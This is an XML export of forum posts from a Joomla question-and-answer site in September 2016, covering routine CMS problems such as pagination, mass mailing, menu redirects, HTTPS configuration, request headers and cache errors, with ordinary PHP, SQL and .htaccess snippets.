  <row Id="17851" PostTypeId="4" CreationDate="2016-09-10T03:02:19.143" Score="0" Body="Joomla! 3 is the latest major release of the Joomla! CMS, with 3.6 the seventh standard-term support release in this series." OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-09-10T07:10:53.900" LastActivityDate="2016-09-10T07:10:53.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17852" PostTypeId="2" ParentId="17824" CreationDate="2016-09-10T04:17:43.623" Score="1" Body="&lt;p&gt;I'd suggest putting this function in your helper.php file, assuming it belong to an extension. I'll just use a module as an example in this case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyHelperFile&#xA;{&#xA;    public function subjectlist($active)&#xA;    {&#xA;        $db   = JFactory::getDbo();&#xA;        $user = JFactory::getUser();&#xA;        $html = '';&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('sem, code')&#xA;              -&amp;gt;from($db-&amp;gt;qn('iust_teachers_classes'))&#xA;              -&amp;gt;where($db-&amp;gt;qn('teacher') . ' = ' . $db-&amp;gt;q($user-&amp;gt;username))&#xA;              -&amp;gt;where($db-&amp;gt;qn('active') . ' = ' . (int)$active);&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $rows = $db-&amp;gt;loadObjectlist(); &#xA;&#xA;        $html .= '&amp;lt;h3&amp;gt;List of present classes :&amp;lt;/h3&amp;gt;';&#xA;        $html .= '&amp;lt;ul&amp;gt;';&#xA;&#xA;        // Loop to populate the list of all present classes of the teacher&#xA;        foreach ($rows as $row)&#xA;        {&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;clear();&#xA;            $query-&amp;gt;select('subject')&#xA;                  -&amp;gt;from($db-&amp;gt;qn('iust_subjects'))&#xA;                  -&amp;gt;where($db-&amp;gt;qn('sem') . ' = ' . $db-&amp;gt;q($row-&amp;gt;sem))&#xA;                  -&amp;gt;where($db-&amp;gt;qn('code') . ' = ' . $db-&amp;gt;q($row-&amp;gt;code));&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $rows = $db-&amp;gt;loadObjectlist();&#xA;&#xA;            // echoing the active subject list&#xA;            foreach ($rows as $row)&#xA;            {&#xA;                $html .= '&amp;lt;li&amp;gt;' . $row-&amp;gt;subject . '&amp;lt;/li&amp;gt;';&#xA;            }&#xA;        }&#xA;        $html .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_mymodule.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once dirname(__FILE__) . '/helper.php';&#xA;&#xA;$helper = new MyHelperFile();&#xA;$subjectlist_0 = $helper-&amp;gt;subjectlist(0);&#xA;$subjectlist_1 = $helper-&amp;gt;subjectlist(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As show in the code, I'd suggest calling the user object and getting the username inside the function rather than passing it through as a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also made a few code improvements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would of course though be better off using a &lt;code&gt;join()&lt;/code&gt; clause in 1 query rather than running a 2nd one in a &lt;code&gt;foreach&lt;/code&gt; loop.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-09-10T04:17:43.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17853" PostTypeId="1" CreationDate="2016-09-10T05:58:01.803" Score="0" ViewCount="213" Body="&lt;p&gt;I am facing problem with Joomla listing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I log-in into Joomla admin panel and use pagination for listing, if I click and visit the 3rd page of the paginated data of the 3rd page, then go to another page and later return at the same page listing which I was earlier - Joomla pagination will start from 3rd page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to set &lt;code&gt;limitstart&lt;/code&gt; value 0 whenever user come to the listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So each time I visit the page, pagination should  start from 0 not according to last viewed page - I need to display first page data each time when user visit the list page.&lt;/p&gt;&#xA;" OwnerUserId="8998" LastEditorUserId="126" LastEditDate="2017-01-14T14:22:50.357" LastActivityDate="2017-01-14T14:22:50.357" Title="Always force limitstart=0 for component's paginated lists when revisiting the list" Tags="|component|administrator|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17854" PostTypeId="1" CreationDate="2016-09-10T11:12:46.847" Score="3" ViewCount="612" Body="&lt;p&gt;As the title suggests, I have a pretty large user base, pushing 60k now, and I can never mass mail them, I cant even do batch functions as joomla (or rather my server) runs out of memory when trying to query the database of that many users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution for mass mailing so many users that takes into account that not everybody's server has 16+GB ram free for PHP to load the entire user table into memory?&lt;/p&gt;&#xA;" OwnerUserId="8655" LastActivityDate="2016-12-30T16:24:01.393" Title="Mass mail 50k + users, solution?" Tags="|emails|joomla-3.6|" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="17855" PostTypeId="2" ParentId="17854" CreationDate="2016-09-10T11:25:42.823" Score="4" Body="&lt;p&gt;The most common solution is AcyMailing + a professional SMTP service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AcyMailing is the best mailing extension for Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My favorites SMTP services are SendGrid and Postmark. I also implement Amazon SES sometimes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I know people implementing Mandrill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of these solutions are for newsletters and regular notifications. Obviously, spam is not tolerated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PD: I avoid Mailchimp, too expensive.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-09-10T11:25:42.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17857" PostTypeId="2" ParentId="17842" CreationDate="2016-09-11T00:27:54.510" Score="0" Body="&lt;p&gt;Ok I dug into the code and have submitted issue tracker with suggested solution here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/12006&quot; rel=&quot;nofollow&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/12006&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2016-09-11T00:27:54.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17858" PostTypeId="1" CreationDate="2016-09-11T07:14:45.547" Score="1" ViewCount="461" Body="&lt;p&gt;The first menu-item(s) keep redirecting to HOME instead of the article it is supposed to link to.&#xA;If I copy the menu item and move it to the end of the menu list, it works ok and displays the right article. If I move another menu item to be the first menu item after Home, it again redirects me to Home. And in the url I see index.php as in the homepage.&#xA;So it is not a problem with the article, but with the menu or menu item position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;http://www.studiolidachaulet.nl/geldmaaktublij.nl/&quot; rel=&quot;nofollow&quot;&gt;www.studiolidachaulet.nl/geldmaaktublij.nl&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The copy of &lt;strong&gt;Hoe werkt het&lt;/strong&gt; for instance, &lt;strong&gt;Hoe werkt het? (2)&lt;/strong&gt; works fine, &#xA;But if you click &lt;strong&gt;Hoe werkt het?&lt;/strong&gt; it redirects to &lt;a href=&quot;http://www.studiolidachaulet.nl/geldmaaktublij.nl/index.php&quot; rel=&quot;nofollow&quot;&gt;http://www.studiolidachaulet.nl/geldmaaktublij.nl/index.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have set the SEO settings in Global configuration to YES, YES, NO, NO, after&lt;/li&gt;&#xA;&lt;li&gt;.htaccess is not a txt file&lt;/li&gt;&#xA;&lt;li&gt;RewriteEngine On&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I change SEO settings to NO, I see the friendly urls change to unfriendly urls but the problem of the first menu item(s) stays the same.&lt;/p&gt;&#xA;" OwnerUserId="9000" LastActivityDate="2016-09-11T13:12:40.580" Title="The first menu item(s) redirect to HOME (index.php)" Tags="|joomla-3.x|menu-item|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17859" PostTypeId="2" ParentId="17858" CreationDate="2016-09-11T09:22:30.813" Score="0" Body="&lt;p&gt;Can you add some info about your menu structure? Crucially, what menu item type is the menu item you are having trouble with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the link to the same article in your footer menu works correctly, this may be a problem with item type alias. Do you have 2 different menus? You shouldn't, as both contain the same links.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2016-09-11T09:22:30.813" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17860" PostTypeId="2" ParentId="17825" CreationDate="2016-09-11T09:29:54.403" Score="1" Body="&lt;p&gt;Firstly, the only code that should go into index.php is code that should appear on every page. What you want to do is on the category view, so &lt;em&gt;your code should go in the category view override&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to get something like that working in index.php, but that would be completely the wrong thing to do, so I'm not going to suggest how you might.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;‘I want to display the intro image of my categories on the category&#xA;  page.’&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What's the problem? Assign an image to your category and Joomla will display it on the category view. This works out of the box, so I can't understand why you would need to do anything at all.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2016-09-11T09:29:54.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17862" PostTypeId="2" ParentId="17828" CreationDate="2016-09-11T09:41:33.637" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Please don't do this. Justified text on the web looks horrible, and there's no legitimate reason for wanting to do this globally.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you really don't care about aesthetics, good typography or user experience then just add this to your template css: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;body { text-align: justify !important; }&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="296" LastActivityDate="2016-09-11T09:41:33.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17863" PostTypeId="2" ParentId="17059" CreationDate="2016-09-11T10:05:59.720" Score="1" Body="&lt;p&gt;The problem is not in adding the Sass, just drop it into your template and that's it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is then getting Joomla to spit out markup containing the css classes. To do that you will need to create template overrides for every view you are using, changing the standard Bootstrap classes for your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Sass in all my templates and have done for a long time. You might want to check out &lt;a href=&quot;http://joomlafuture.com/&quot; rel=&quot;nofollow&quot;&gt;http://joomlafuture.com/&lt;/a&gt; for an (outdated) example or &lt;a href=&quot;https://joomlanauts.com/&quot; rel=&quot;nofollow&quot;&gt;https://joomlanauts.com/&lt;/a&gt; for some newer implementations.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2016-09-11T10:05:59.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17864" PostTypeId="2" ParentId="17858" CreationDate="2016-09-11T13:12:40.580" Score="2" Body="&lt;p&gt;I found the solution.&#xA;The logo area seemed to overlap part of the menu. I shortened the names and the problem is gone.&#xA;Thank you Seth for looking into this.&lt;/p&gt;&#xA;" OwnerUserId="9000" LastActivityDate="2016-09-11T13:12:40.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17865" PostTypeId="2" ParentId="17458" CreationDate="2016-09-11T13:45:16.930" Score="1" Body="&lt;p&gt;In my experience it is perfectly possible to use a free Cloudflare account for getting https on the www. I've set this up for dozens of domains using a free Cloudflare account. (Unless they have changed their policy recently)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to achieve this is probably to let Cloudflare redirect http and https to your server.&#xA;You can do this in your domain's Crypto tab on Cloudflare. At the SSL settings  choose &quot;Full&quot;. &#xA;The &quot;Full&quot; settings only work if you have a certificate installed for your hosting account. This can be a self signed certificate or the default certificate for your hosting account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the DNS settings of cloudflare you can point the normal A record for the domain name as well as the www A record to your server's ip address. Make sure  and set the status (the cloud with the arrow in the right column) to make use of cloudflare.&#xA;In my experience this is perfectly possible with free Cloudflare accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that all www, non-www, http and https traffic is going through Cloudflare to your hosting account, make sure that you configure your hosting provider so that http and https are pointed to look to the same folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your server redirect all non-www traffic to the www. domain. If you're using Apache you can use .htaccess for redirection of all non-www to www:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##### Redirect non-www to www -- BEGIN&#xA;RewriteCond %{HTTP_HOST} !^www\. [NC]&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;##### Redirect non-www to www -- END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can redirect all http traffic to https in Joomla's configuration: &#xA;Global Configuration &gt; Server &gt; Force https &gt; Entire site&#xA;This can give errors if you haven't set Cloudflare's SSL settings to Full.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also do both www and https issues, and even more fine-tuning, with Akeeba Admin Tools Pro.&lt;/p&gt;&#xA;" OwnerUserId="265" LastEditorUserId="265" LastEditDate="2016-09-11T15:23:31.927" LastActivityDate="2016-09-11T15:23:31.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17866" PostTypeId="1" CreationDate="2016-09-11T18:22:06.323" Score="0" ViewCount="2001" Body="&lt;p&gt;I am creating a multi-language page in Joomla with 5 different languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is ok except for the language switcher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My home page is set for English, when I try to change the language from the index page, the others language redirect me to the last menu item of each language and not to the home page of each one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don´t know what I have to do in order to redirect to each default home page when I clic the flags. Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="9002" LastEditorUserId="126" LastEditDate="2017-01-13T09:44:24.783" LastActivityDate="2024-01-08T21:09:31.203" Title="How to change the default page in the Language Switcher?" Tags="|joomla-3.x|multilingual|mod-languages|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17868" PostTypeId="1" AcceptedAnswerId="17872" CreationDate="2016-09-12T12:28:30.533" Score="0" ViewCount="42" Body="&lt;p&gt;I'm working with a joomla 3 site and I need to change the layout of the featured section on my home page. At the moment, I have my modules showing up on top of one another in a single column layout. I'd like to change this section alone to a two-column layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after doing a little poking around this option is not modifiable using Menu-&gt;main menu-&gt;layout and changing the column number to 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The is using theme1498. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastEditorUserId="8870" LastEditDate="2016-09-12T20:05:53.957" LastActivityDate="2016-11-12T13:23:59.063" Title="How to set featured section of home page to two columns?" Tags="|layout|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17869" PostTypeId="1" AcceptedAnswerId="17957" CreationDate="2016-09-12T21:28:03.037" Score="1" ViewCount="1678" Body="&lt;p&gt;I am adding custom header in my request (sent from external app) to Joomla controller with a custom header added. How to retrieve the header in my controller?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using below but it gives me null.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$token = $app-&amp;gt;input-&amp;gt;server-&amp;gt;getString('Authorization');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Request captured shows the headers added.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D/OkHttp: Content-Type: application/x-www-form-urlencoded&#xA;D/OkHttp: Content-Length: 25&#xA;D/OkHttp: Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyaWQiOiJhZG1pbiIsImlhdCI6MTQ3MzYyMjQyOSwiZXhwIjoxNDc2MjE0NDI5fQ.l691z66kzWaEA6RP7schKk4-N6xvXzneAwvKQm-Cj8E&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2019-05-17T12:34:53.790" Title="How to retrieve request headers?" Tags="|joomla-3.x|joomla-api|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17870" PostTypeId="2" ParentId="17833" CreationDate="2016-09-13T09:39:27.560" Score="1" Body="&lt;p&gt;So here is the code that works :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//preparation et envoi du mail&#xA;$m=JFactory::getMailer();&#xA;&#xA;//provenance du mail&#xA;$sender = array('myEmailAddress','myName');&#xA;$m-&amp;gt;setSender($sender);&#xA;&#xA;//destibnataires du mail&#xA;$m-&amp;gt;addRecipient($to); //an array of emails&#xA;&#xA;//sujet du message&#xA;$m-&amp;gt;setSubject($subject); &#xA;&#xA;//encodage du mail&#xA;$m-&amp;gt;isHTML(true);&#xA;$m-&amp;gt;Encoding='base64';&#xA;&#xA;//le corps du message&#xA;$m-&amp;gt;setBody($message); &#xA;//$message = a string with html tag&#xA;&#xA;//envoi du mail&#xA;$send = $m-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks Lodder and AndyGaskell for yours contributions&lt;/p&gt;&#xA;" OwnerUserId="7042" LastEditorUserId="3637" LastEditDate="2016-09-14T06:23:40.027" LastActivityDate="2016-09-14T06:23:40.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17871" PostTypeId="1" CreationDate="2016-09-13T11:17:05.040" Score="0" ViewCount="418" Body="&lt;p&gt;I have a multi site comprising a main J! installation and two secondaries J! installations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last twos are installed in the same &lt;code&gt;root&lt;/code&gt; directory of the main one, as following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;J1: administrator, components, plugins, ..., J2, J3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I make a link in J1 pointing to a page in J2, the URL in the bar doesn't show in a SEF format. I'm using &lt;strong&gt;Joomla 3.6.2&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone point me to a possible source of the problem?&lt;/p&gt;&#xA;" OwnerUserId="9007" LastEditorUserId="126" LastEditDate="2017-01-14T12:08:31.460" LastActivityDate="2017-04-19T21:34:35.087" Title="Safe SEF URL to a subdomain" Tags="|joomla-3.x|url|joomla-3.6|sef|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17872" PostTypeId="2" ParentId="17868" CreationDate="2016-09-13T11:24:12.847" Score="0" Body="&lt;p&gt;So, I had to modify the template files and do the positioning by css. &lt;/p&gt;&#xA;" OwnerUserId="8870" LastActivityDate="2016-09-13T11:24:12.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17873" PostTypeId="1" CreationDate="2016-09-13T13:13:39.587" Score="2" ViewCount="404" Body="&lt;p&gt;I have a problem with LLFJ Plugin,It loads all my images at once,It's not lazy loading them at all.I installed it, I tried with jQuery and mootools but same thing.Also I tried other lazy loading plugins (not for joomla,just plugins for jQuery),I followed the instructions as they was on the documentation but none of them worked, they did the same thing,wich is loading all the images at once. Am I doing something wrong ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gruppovatra.com/it/photo-2016&quot; rel=&quot;nofollow&quot;&gt;Link to the website gallery.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be very thankful If someone can help me !&lt;/p&gt;&#xA;" OwnerUserId="8951" LastActivityDate="2018-03-28T12:07:35.817" Title="Plugin - LLFJ - Lazy Loading for Joomla loads all the images at once" Tags="|joomla-3.x|plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17874" PostTypeId="2" ParentId="17873" CreationDate="2016-09-13T13:42:29.313" Score="2" Body="&lt;p&gt;It's solved, seems like &lt;code&gt;transition: 800ms&lt;/code&gt; css rule to the &lt;code&gt;img&lt;/code&gt; tag was the problem. I just removed that and it works fine now.&lt;/p&gt;&#xA;" OwnerUserId="8951" LastActivityDate="2016-09-13T13:42:29.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17875" PostTypeId="2" ParentId="17395" CreationDate="2016-09-13T20:41:18.667" Score="1" Body="&lt;p&gt;I've had some weird experiences with Jdatabase and union queries. Sometimes, if I can't manage to get the syntax correct for that, what I do is just something like $query=&quot;[write your query manually here]&quot; and then $db-&gt;setQuery($query), etc.  Probably not much help, but figured I'd add that...&lt;/p&gt;&#xA;" OwnerUserId="9014" LastActivityDate="2016-09-13T20:41:18.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17876" PostTypeId="2" ParentId="17549" CreationDate="2016-09-14T01:34:32.700" Score="0" Body="&lt;p&gt;I did a little debugging and it looks like the file that is being downloaded - Joomla_3.6.2-Stable-Update_Package.zip  is behind a redirection.  On line 315 of com_joomlaupdate/models/default.php I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Download the package&#xA;$result = $http-&amp;gt;get($url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where i get $result-&gt;code = 302 but no file gets downloaded.  There needs to be some error checking here but I don't know enough about Joomla to say what.  Does anyone know how to have this get request to then follow the redirect and download the file as I think that would be the correct fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently can't add a comment here so I wrote this instead.&lt;/p&gt;&#xA;" OwnerUserId="9016" LastActivityDate="2016-09-14T01:34:32.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17877" PostTypeId="2" ParentId="17871" CreationDate="2016-09-14T04:22:08.750" Score="0" Body="&lt;p&gt;Well there are 2 ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sub.domain.com or domain.com/sub.&#xA;If they are not content related and have secondary home pages per install. Then method is good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually use the second and name that folder in an SEO friendly. But that is because the sites are related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that, more needs to be explained and/or some URL results and what methods you tried already.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastActivityDate="2016-09-14T04:22:08.750" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17878" PostTypeId="1" CreationDate="2016-09-14T07:36:45.380" Score="0" ViewCount="1996" Body="&lt;p&gt;I wasn't attending one of my websites for 2 weeks, after that and without doing anything at all (like installing or uninstalling anything).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to login to my website it redirects to &lt;code&gt;https&lt;/code&gt; (I have never enabled this option and it is disabled in &lt;code&gt;config.php&lt;/code&gt;) and it stops there. I have done a lot of tricks but nothing worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone resolve this problem?&lt;/p&gt;&#xA;" OwnerUserId="7918" LastEditorUserId="9492" LastEditDate="2017-01-13T17:24:22.793" LastActivityDate="2019-03-11T08:29:42.210" Title="Joomla admin redirects to https" Tags="|administrator|ssl|https|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17879" PostTypeId="2" ParentId="17878" CreationDate="2016-09-14T07:50:05.580" Score="1" Body="&lt;p&gt;you can disable loading https by doing this &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to global configuration&lt;/li&gt;&#xA;&lt;li&gt;then go to the Server tab&lt;/li&gt;&#xA;&lt;li&gt;now in the server settings you can select Force HTTPS to none&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope it will help you&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-09-14T07:50:05.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17881" PostTypeId="1" CreationDate="2016-09-14T09:17:38.347" Score="0" ViewCount="1316" Body="&lt;p&gt;Recently, my joomla's website has been showing 500 server error every time I open the cache manager as described below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GtsRI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GtsRI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Browser's Console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Failed to load resource: the server responded with a status of 500 (Internal Server Error)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the website is hosted on Ubuntu, when I check the number of files in the cache directory, it shows there are over 600 thousands files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ find /var/www/html/cache/ -type f -print | wc -l&#xA;659798&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though I can remove any folder within the cache directory using &lt;code&gt;$ rm -r com_example&lt;/code&gt; but I believe this is not the correct approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced the same issue, then please suggest me a proper approach to solve the issue or any necessary tuning in terms of better performance and stability for my joomla website.&lt;/p&gt;&#xA;" OwnerUserId="5694" LastActivityDate="2016-09-22T07:09:30.190" Title="HTTP ERROR 500 when loading com_cache" Tags="|joomla-3.x|component|cache|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17883" PostTypeId="2" ParentId="17878" CreationDate="2016-09-14T12:26:32.040" Score="0" Body="&lt;p&gt;If it wasn't you and it wasn't a hacker I would contact my host if I were you.  Maybe they installed something like Let's Encrypt and forced all sites to use https?&lt;/p&gt;&#xA;" OwnerUserId="8390" LastActivityDate="2016-09-14T12:26:32.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17885" PostTypeId="2" ParentId="17838" CreationDate="2016-09-14T15:25:11.193" Score="1" Body="&lt;p&gt;Assuming you can't change the field name in table, you can select only the fields you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &quot;select cv.*,cc.cat_name,cc.v_small_img from #__usedcar_variants cv inner join #__usedcar_products cp  inner join #__usedcar_categories cc on  cc.id=cp.prod_cat_id and cp.id=cv.v_prod_id and cv.id=cv.id and cv.state='1' where  1 $cond order by cv.id desc&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know in which table fields actually are but you can select them like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cv.*&lt;/strong&gt; - gets all fields from cv table&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cv.id as newname&lt;/strong&gt; - get id field but assigns another namespace (newname)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way accessing $row-&gt;newname will actually return the cv.id field.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-09-14T15:25:11.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17886" PostTypeId="1" AcceptedAnswerId="19462" CreationDate="2016-09-14T21:06:48.400" Score="0" ViewCount="714" Body="&lt;p&gt;I am using Joomla 3x sql field to filter between two select fields..&#xA;The problem is that the second field does not filter as expected. It is just populated with all the result and when I select a different value nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field name=&quot;ads_type&quot;&#xA;        type=&quot;sql&quot;&#xA;        label=&quot;Select Type of Content&quot;&#xA;        sql_select=&quot;e.type, e.id, e.state&quot;&#xA;        sql_from=&quot;#__zoo_item AS e&quot;&#xA;        sql_group=&quot;type&quot;&#xA;        sql_order=&quot;e.id ASC&quot;&#xA;        key_field=&quot;type&quot;&#xA;        value_field=&quot;type&quot;&#xA;    /&amp;gt;  &#xA;&#xA;    &amp;lt;field name=&quot;ads_content&quot;&#xA;        type=&quot;sql&quot;&#xA;        label=&quot;Select Content&quot;&#xA;        sql_select=&quot;e.name, e.id, e.state&quot;&#xA;        sql_from=&quot;#__zoo_item AS e&quot;&#xA;        sql_group=&quot;name&quot;&#xA;        sql_order=&quot;e.id ASC&quot;&#xA;        sql_filter=&quot;ads_type&quot;&#xA;        key_field=&quot;id&quot;&#xA;        value_field=&quot;name&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will be glad if someone can help me.&lt;/p&gt;&#xA;" OwnerUserId="7083" LastActivityDate="2017-03-29T13:01:06.450" Title="Joomla 3x sql field NOT Filtering on Change" Tags="|joomla-3.x|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
